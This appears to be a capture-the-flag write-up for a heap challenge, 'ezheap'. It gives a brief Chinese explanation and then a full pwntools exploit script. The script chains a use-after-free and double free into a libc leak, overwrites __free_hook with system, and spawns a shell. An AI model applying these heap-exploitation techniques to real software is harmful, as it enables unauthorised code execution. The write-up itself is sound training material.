ezheap

由于只能分配0x50大小的chunk,并且只有一次UAF,可以先利用UAF泄露heap地址,然后构造double_free。利用这个double_free分配到一个伪造的0x421大小的chunk,释放这个chunk,就能直接进入到Unsortedbin中,然后填充一下字符,泄露出libc。

之后重新构造一个double_free劫持free_hook即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64,p32,u64,u32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('47.93.143.29', 34774)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(content):
sl('1')
pause()
s(content)
def delete(index):
sl('2')
r()
sl(str(index))
def show(index):
sl('3')
r()
sl(str(index))
def uaf(index):
s(str(0x202405))
pause()
sl(str(index))

gdb.attach(p)
for i in range(13):
add(p64(0)*3+p64(0x61))
for i in range(6,-1,-1):
delete(i)

delete(8)
uaf(7)
# uaf(7)
show(7)
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x590
lg("heap_base",heap_base)

delete(9)
delete(7)
for i in range(7):
add(p64(0)*3+p64(0x421))
add(p64(heap_base+0x2c0))
add(p64(0)*3+p64(0x421))
add(p64(0)*3+p64(0x421))
add('aaa')
delete(13)
add('bbbbbbbb')
show(13)
rl('bbbbbbbb')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3f0-0x1ecbe0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(7):
delete(i)

delete(7)
delete(8)
delete(9)
for i in range(7):
add('aa')
add(p64(free_hook))
add(b'/bin/sh\x00')
add(b'/bin/sh\x00')
add(p64(system))
delete(7)

inter()